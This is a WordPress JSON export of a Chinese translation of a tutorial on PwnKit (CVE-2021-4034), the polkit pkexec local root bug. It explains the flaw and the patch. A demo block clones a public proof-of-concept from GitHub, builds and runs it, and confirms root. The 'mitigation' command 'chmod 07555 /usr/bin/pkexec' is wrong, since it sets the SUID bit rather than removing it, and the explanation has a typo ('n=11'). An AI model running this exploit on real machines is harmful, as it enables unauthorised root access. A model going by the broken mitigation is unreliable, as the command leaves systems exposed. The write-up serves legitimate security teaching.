{"id":371,"date":"2022-07-24T21:13:53","date_gmt":"2022-07-24T13:13:53","guid":{"rendered":"http:\/\/www.aqwu.net\/wp\/?p=371"},"modified":"2022-07-24T21:13:53","modified_gmt":"2022-07-24T13:13:53","slug":"linux-%e6%9d%83%e9%99%90%e6%8f%90%e5%8d%87%ef%bc%9apwnkit-%ef%bc%88cve-2021-4034%ef%bc%89","status":"publish","type":"post","link":"https:\/\/www.aqwu.net\/wp\/?p=371","title":{"rendered":"Linux \u6743\u9650\u63d0\u5347\uff1aPwnKit \uff08CVE 2021-4034\uff09"},"content":{"rendered":"\n<p>\u539f\u6587\u94fe\u63a5\uff1ahttps:\/\/www.hackingarticles.in\/linux-privilege-escalation-pwnkit-cve-2021-4034\/<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>\u4ecb\u7ecd<\/strong><\/h3>\n\n\n\n<p>Team Qualys\u5728PolicyKit\u7684\uff08polkit\uff09setuid\u5de5\u5177pkexec\u4e2d<strong><a href=\"https:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=CVE-2021-4034\">\u53d1\u73b0\u4e86<\/a><\/strong>\u4e00\u4e2a\u672c\u5730\u6743\u9650\u63d0\u5347\u6f0f\u6d1e\uff0c\u8be5\u6f0f\u6d1e\u5141\u8bb8\u4f4e\u7ea7\u7528\u6237\u4ee5\u7279\u6743\u7528\u6237\u8eab\u4efd\u8fd0\u884c\u547d\u4ee4\u3002\u6839\u636eQualys\u7684\u8bf4\u6cd5\uff0c\u8be5\u6f0f\u6d1e\u5b58\u5728\u4e8epkexec.c\u4ee3\u7801\u4e2d\uff0c\u8be5\u4ee3\u7801\u65e0\u6cd5\u6b63\u786e\u5904\u7406\u8c03\u7528\u53c2\u6570\u8ba1\u6570\uff0c\u5e76\u6700\u7ec8\u5c1d\u8bd5\u5c06\u73af\u5883\u53d8\u91cf\u4f5c\u4e3a\u547d\u4ee4\u6267\u884c\u3002\u56e0\u6b64\uff0c\u653b\u51fb\u8005\u53ef\u4ee5\u6784\u9020\u73af\u5883\u53d8\u91cf\uff0c\u4ece\u800c\u8bf1\u4f7f pkexec \u6267\u884c\u4efb\u610f\u4ee3\u7801\u3002\u6211\u4eec\u5728\u8fd9\u4e2a\u6f14\u793a\u4e2d\u4f7f\u7528\u4e86\u8f83\u65e7\u7684\u6613\u53d7\u653b\u51fb\u7684Ubuntu 20.04\uff0c\u53ef\u4ee5\u4eceUbuntu\u7684\u65e7\u7248\u672c<a href=\"https:\/\/old-releases.ubuntu.com\/releases\/\">\u9875\u9762<\/a>\u4e0b\u8f7d\u3002\u8f83\u65b0\u7684\u7248\u672c\u5df2\u7ecf\u9644\u5e26\u4e86\u4e00\u4e2a\u8865\u4e01\u7684polkit\u6846\u67b6\u3002Mitre\u5e16\u5b50\u53ef\u4ee5<strong><a href=\"https:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=CVE-2021-4034\">\u5728\u8fd9\u91cc<\/a><\/strong>\u627e\u5230\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Polkit \u548c pkexec<\/strong><\/h3>\n\n\n\n<p><strong>Polkit \u548c pkexec\uff1a&nbsp;<\/strong>PolicyKit\u5728Linux\u7cfb\u7edf\u4e2d\u4e5f\u88ab\u79f0\u4e3apolkit\u3002\u5b83\u662f\u7a0b\u5e8f\u4f7f\u7528\u7684\u6388\u6743 API\uff0c\u7528\u4e8e\u5c06\u5176\u6743\u9650\u63d0\u5347\u4e3a\u63d0\u5347\u7528\u6237\u7684\u6743\u9650\uff0c\u5e76\u4ee5\u63d0\u5347\u7684\u7528\u6237\u8eab\u4efd\u8fd0\u884c\u8fdb\u7a0b\uff08\u901a\u5e38\u662f root\uff09\u3002\u5982\u679c\u672a\u6307\u5b9a\u7528\u6237\uff0c\u5b83\u5c06\u5c1d\u8bd5\u4ee5 root \u7528\u6237\u8eab\u4efd\u8fd0\u884c\u8be5\u547d\u4ee4\u3002Sudo\u5728\u5141\u8bb8\u7528\u6237\u4ee5root\u8eab\u4efd\u8fd0\u884c\u547d\u4ee4\u65b9\u9762\u505a\u4e86\u540c\u6837\u7684\u4e8b\u60c5\uff0c\u4f46\u662f\uff0c\u4f7f\u7528pkexec\uff0c\u7ba1\u7406\u5458\u53ef\u4ee5\u901a\u8fc7\u4e3a\u5176\u5b9a\u4e49\u7b56\u7565\u6765\u7cbe\u7ec6\u63a7\u5236\u7279\u5b9a\u7a0b\u5e8f\u7684\u6267\u884c\u3002Sudo\u6ca1\u6709\u9650\u5236\uff0c\u7528\u6237\u53ef\u4ee5\u4f5c\u4e3a\u63d0\u5347\u7684\u7528\u6237\u8fd0\u884c\u4efb\u4f55\u547d\u4ee4\uff0c\u4ed6\u77e5\u9053\u5bc6\u7801\u3002Pkexec\u5728\u8bbe\u7f6e\u4e0a\u4e5f\u9700\u8981\u4ed8\u51fa\u4e00\u4e9b\u52aa\u529b\uff0c\u4f46Debian\u53d8\u4f53\uff0c\u5305\u62ec\u6d41\u884c\u7684Ubuntu\uff0c\u90fd\u9884\u88c5\u4e86polkit\u548cpkexec\u3002\u8fd9\u4e9b\u7b2c\u4e09\u65b9\u8f6f\u4ef6\u5305\u7684\u6388\u6743\u89c4\u5219\u5728\u4fdd\u5b58\u5728&nbsp;<strong>\/usr\/share\/polkit-1\/rules.d\/<\/strong>&nbsp;\u76ee\u5f55\u4e2d\u7684 JavaScript \u6587\u4ef6\u4e2d\u5b9a\u4e49\u3002<\/p>\n\n\n\n<p>\u60a8\u53ef\u4ee5<strong><a href=\"https:\/\/www.hackingarticles.in\/linux-privilege-escalation-polkit-cve-2021-3560\/\">\u5728\u6b64\u5904<\/a><\/strong>\u9605\u8bfb\u6709\u5173 polkit \u548c\u57fa\u7840\u77e5\u8bc6\u7684\u66f4\u591a\u4fe1\u606f\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>\u5173\u4e8e PwnKit \u7684\u8be6\u7ec6\u4fe1\u606f<\/strong><\/h3>\n\n\n\n<p>Pkexec\u7684\u4ee3\u7801\u53ef\u4ee5\u5728github\u4e0a\u67e5\u770b&nbsp;<strong><a href=\"https:\/\/github.com\/wingo\/polkit\/blob\/master\/src\/programs\/pkexec.c\">\u8fd9\u91cc<\/a><\/strong>.\u5728 main \u51fd\u6570\u4e2d\uff0c\u60a8\u53ef\u4ee5\u770b\u5230\u4f20\u9012\u4e86\u4e24\u4e2a\u53c2\u6570\uff0cargc \u548c argv[]\u3002<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/blogger.googleusercontent.com\/img\/a\/AVvXsEiMxuMhrb0a8HOcjHnHGn19MrravnwtQoooBMmgt1df7xvZVhR6UF29RwiqZDXU8eRR-hBdj9oBd4PMcd25QAFvrmb2tFsjOqwNuzIW3r5hBbcVyrmri5-dQa2CqssxvmiXUYz3E30ynQsA3cUNaWff6WSElYaYvuTjDrhPHUyuvh59V5XHrFtF2QKLBA=s16000\" alt=\"\"\/><\/figure>\n\n\n\n<p>\u5982\u679c\u6211\u4eec\u4e0d\u5411\u6b64\u51fd\u6570\u4f20\u9012\u4efb\u4f55\u53c2\u6570\uff0c\u5219 argc =0 \u548c argv = NULL\u3002\u5728 for \u5faa\u73af\u4e2d\uff0cn \u73b0\u5728\u8bbe\u7f6e\u4e3a 1\uff0c\u5e76\u4e14\u5faa\u73af\u4e0d\u4f1a\u6267\u884c\uff0c\u56e0\u4e3a\u6761\u4ef6\u5931\u8d25\u3002<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/blogger.googleusercontent.com\/img\/a\/AVvXsEhUV33Eu8p1pq5A3ILVJNSOM99xJwEFvFXDnAr5dVt9oWtBOoud0UePHmSM7TFlIPR284RMSKxGTPn6qPVFPcs8MOi-dwoqptJPRxbfxrhVE1jIOjSLYlwTkcOZE4OcjZRNSgFCbdZG2wqEvxeilA9Jt4FSPFoCh7-Juc0zGsq1R1a-k_Fa_79euqlFPw=s16000\" alt=\"\"\/><\/figure>\n\n\n\n<p>\u6267\u884c\u7a0b\u5e8f\u65f6\uff0c\u53c2\u6570\u3001\u73af\u5883\u53d8\u91cf\u548c\u6307\u9488\u8fde\u7eed\u653e\u7f6e\u5728\u5806\u6808\u4e2d\u3002\u8def\u5f84\u53d8\u91cf\u8bbe\u7f6e\u4e3a NULL\u3002\u8fd9\u4f7f\u5f97 argv[argc] \u7b49\u4e8e Null\uff0c\u6700\u540e\uff0cargv[n] \u53d8\u4e3a argv[1]\uff08\u56e0\u4e3a n=11\uff09\uff0c\u540e\u8005\u6210\u4e3a envp[] \u6216\u73af\u5883\u53d8\u91cf\u3002\u4f5c\u8005\u79f0\u4e4b\u4e3a\u201c\u4ef7\u503c\u201d\u3002\uff08\u60a8\u53ef\u4ee5\u53c2\u8003\u539f\u59cb\u5e16\u5b50\u4ee5\u6df1\u5165\u4e86\u89e3\uff09<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/blogger.googleusercontent.com\/img\/a\/AVvXsEixZl5WWu0whwNa3AofY7t-4obfRrgocvFOV5bSi5I1a0_-nnzH-fXn4QCdiUPcZdwtLR--Nm5S13X_kTNM3IZskD9Im4gvmBFKkGQRU5VGxhNKiIn7JHKMCzv6MEOVI6MFzDSPqs5bVdrw30oOvrcWFrsj1O4spo8BJCZZ8x2IT7RgoMDEVSPYJfKeNg=s16000\" alt=\"\"\/><\/figure>\n\n\n\n<p>\u7531\u4e8e\u8def\u5f84\u4e3a NULL\uff0c\u56e0\u6b64\u5b83\u4e0d\u4ee5\u201c\/\u201d\uff08\u8868\u793a\u7edd\u5bf9\u8def\u5f84\uff09\u5f00\u5934\uff0c\u56e0\u6b64\uff0c\u8be5\u51fd\u6570g_find_program_in_path\u73af\u5883\u53d8\u91cf\u4e2d\u641c\u7d22\u503c\u3002<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/blogger.googleusercontent.com\/img\/a\/AVvXsEh7htq58DKdQf14Osf1Pb22iufUYywswdlQ9LXWFnPWgqpu5xmc5FHJUc1AmwiOZK0faPT8P4QW0ZJnvz_M4JGGMcyttGcvKdIk8nZI1wCuN_1PpnUJx-gPgtdyfjkZDQNbTi1-Jzq2FjsCQHa24FRq24cuY3A2ojkbjg75YS6siBmgekNkqKdGgzlI8g=s16000\" alt=\"\"\/><\/figure>\n\n\n\n<p>\u53d8\u91cf s \u6700\u7ec8\u8bbe\u7f6e\u4e3a\u8be5\u73af\u5883\u53d8\u91cf\u201c\u503c\u201d<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/blogger.googleusercontent.com\/img\/a\/AVvXsEgS2lox4qkF7oJp2CO8JIM35ubPjGeClNs7BjORsCIA4_Syaje6WttTSPgnYsRQJDIU6BD5Trp-PF1A2Z11jQWlgv79f-IQtmRp5CEDRjOAWkQiDsltX4KbojtchvgTUzgl-nTuBIoBqcXE85Vunir8QYAq8GFLONQI9AkDzvjfMtE0FMmCubXnA0o79A=s16000\" alt=\"\"\/><\/figure>\n\n\n\n<p><strong>\u653b\u51fb\u5a92\u4ecb\uff1a&nbsp;<\/strong>\u653b\u51fb\u8005\u53ef\u4ee5\u521b\u5efa\u4e00\u4e2a\u73af\u5883\u53d8\u91cf\uff0c\u5e76\u4f7f\u7528\u6b64\u5185\u5b58\u635f\u574f\u6280\u672f\u6765\u8fd0\u884c\u4ed6\u81ea\u5df1\u7684\u540d\u4e3a\u201cvalue\u201d\u7684\u53ef\u6267\u884c\u6587\u4ef6\u3002\u56e0\u6b64\uff0c\u653b\u51fb\u8005\u53ef\u4ee5\u4f7f\u7528\u9884\u5148\u5b58\u5728\u7684\u73af\u5883\u53d8\u91cf\u6743\u9650\u63d0\u5347\u65b9\u6cd5\u6765\u5229\u7528\u6b64\u6f0f\u6d1e\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>\u793a\u8303<\/strong><\/h3>\n\n\n\n<p>\u6b64\u6f0f\u6d1e\u7684\u6982\u5ff5\u8bc1\u660e\u5df2\u4e0a\u4f20\u5230github\u4e0a\uff0c\u53ef\u4ee5<strong><a href=\"https:\/\/github.com\/berdav\/CVE-2021-4034\">\u5728\u6b64\u5904<\/a><\/strong>\u627e\u5230\u3002\u8981\u8fd0\u884c\u653b\u51fb\uff0c\u6211\u4eec\u53ea\u9700\u8981\u514b\u9686\u5b58\u50a8\u5e93\uff0c\u5236\u4f5c\u53ef\u6267\u884c\u6587\u4ef6\u5e76\u8fd0\u884c\u5b83\u3002\u5982\u4e0a\u6240\u8ff0\uff0c\u8be5\u7a0b\u5e8f\u5c06\u5229\u7528\u6b64\u5185\u5b58\u635f\u574f\u5f31\u70b9\u3002<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>cd \/tmp\ngit clone https:\/\/github.com\/berdav\/CVE-2021-4034 pwnkit\nmake\n.\/cve-2021-4034\nwhoami\ncat \/etc\/passwd<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/blogger.googleusercontent.com\/img\/a\/AVvXsEjWQ7pM_Bqk5j2m3mkyLI1KKRdXiFPtQc7Hh42-G6wwxYtDHFHZSDwdi6KFtP62KDNZFn7BLGdwhwQRfObiMwYjEPrFjm_hX3d69SjHy1mcT1BmpAs4Yh6-yh5A05cTwxJSGSQU2LsYHApdtMpinLYwlBQUlaxj9DAaSO5CO0fc71W1kOT4QlKV6cH-qQ=s16000\" alt=\"\"\/><\/figure>\n\n\n\n<p>\u4ec5\u4ec5\u901a\u8fc7\u4e24\u4e2a\u547d\u4ee4\uff0c\u6211\u4eec\u5c31\u5229\u7528\u4e86pkexec\u7684\u6f0f\u6d1e\uff0c\u5e76\u5c06\u81ea\u5df1\u5347\u7ea7\u5230root\uff01<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>\u7f13\u89e3<\/strong><\/h3>\n\n\n\n<ul class=\"wp-block-list\"><li>\u8be5\u6f0f\u6d1e\u5df2\u7531\u76f8\u5e94\u7684\u4f9b\u5e94\u5546\u4fee\u8865\u3002\u5728 Ubuntu 20.04 policykit-1 \u2013 0.105-26ubuntu1.2 \u7248\u672c\u4e2d\u7f13\u89e3\u4e86\u8fd9\u4e2a\u5f31\u70b9\u3002<\/li><li>\u5982\u679c\u6ca1\u6709\u9002\u7528\u4e8e\u60a8\u7684\u64cd\u4f5c\u7cfb\u7edf\u7684\u4fee\u8865\u7a0b\u5e8f\uff0c\u5219\u53ef\u4ee5\u4ece pkexec \u4e2d\u5220\u9664 SUID \u4f4d\u4f5c\u4e3a\u4e34\u65f6\u7f13\u89e3\u63aa\u65bd\u3002<br>chmod 07555 \/usr\/bin\/pkexec<\/li><\/ul>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>\u7ed3\u8bba<\/strong><\/h3>\n\n\n\n<p>\u6240\u6709\u672a\u66f4\u65b0\u7684\u65e7\u7248\u672c\u7684 Debian \u53e3\u5473\u548c\u7ea2\u5e3d\u53e3\u5473\u90fd\u5bb9\u6613\u53d7\u5230\u8fd9\u79cd\u653b\u51fb\uff0c\u8fd9\u5bf9\u7ec4\u7ec7\u6765\u8bf4\u662f\u4e00\u4e2a\u4e25\u91cd\u7684\u98ce\u9669\u3002\u8fd9\u79cd\u653b\u51fb\u7684\u6613\u53d7\u5229\u7528\u6027\u4f7f\u5176\u66f4\u52a0\u5371\u9669\u3002\u5f3a\u70c8\u5efa\u8bae\u7cfb\u7edf\u7ba1\u7406\u5458\u7acb\u5373\u66f4\u65b0\u5176\u5df2\u5b89\u88c5\u7684 polkit \u8f6f\u4ef6\u5305\u3002\u611f\u8c22\u60a8\u7684\u9605\u8bfb\u3002<\/p>\n\n\n\n<p><strong>\u4f5c\u8005\uff1aHarshit Rajpal<\/strong>\u662fInfoSec\u7814\u7a76\u5458\uff0c\u4e5f\u662f\u5de6\u53f3\u8111\u601d\u60f3\u5bb6\u3002<strong>&nbsp;<a href=\"https:\/\/in.linkedin.com\/in\/harshit-rajpal-79bb43103\">\u5728\u8fd9\u91cc<\/a><\/strong>\u8054\u7cfb<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u539f\u6587\u94fe\u63a5\uff1ahttps:\/\/www.hackingarticles.in\/linux-privilege-esc [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"site-sidebar-layout":"default","site-content-layout":"","ast-site-content-layout":"","site-content-style":"default","site-sidebar-style":"default","ast-global-header-display":"","ast-banner-title-visibility":"","ast-main-header-display":"","ast-hfb-above-header-display":"","ast-hfb-below-header-display":"","ast-hfb-mobile-header-display":"","site-post-title":"","ast-breadcrumbs-content":"","ast-featured-img":"","footer-sml-layout":"","theme-transparent-header-meta":"","adv-header-id-meta":"","stick-header-meta":"","header-above-stick-meta":"","header-main-stick-meta":"","header-below-stick-meta":"","astra-migrate-meta-layouts":"default","ast-page-background-enabled":"default","ast-page-background-meta":{"desktop":{"background-color":"var(--ast-global-color-4)","background-image":"","background-repeat":"repeat","background-position":"center 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